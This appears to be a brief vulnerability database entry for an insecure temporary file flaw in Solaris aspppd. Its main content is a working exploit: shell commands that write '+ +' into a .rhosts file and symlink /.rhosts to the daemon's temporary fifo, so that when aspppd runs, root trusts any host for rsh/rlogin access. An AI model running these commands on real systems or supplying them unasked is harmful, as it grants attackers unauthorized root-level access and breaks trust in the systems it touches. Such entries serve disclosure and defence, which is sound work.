• info
• discussion
• exploit
• solution
• references

Solaris aspppd Insecure Temporary File Creation Vulnerability

$ echo "+ +" >> .rhosts
$ ln -s /.rhosts /tmp/.asppp.fifo

Wait for asppd to be excecuted.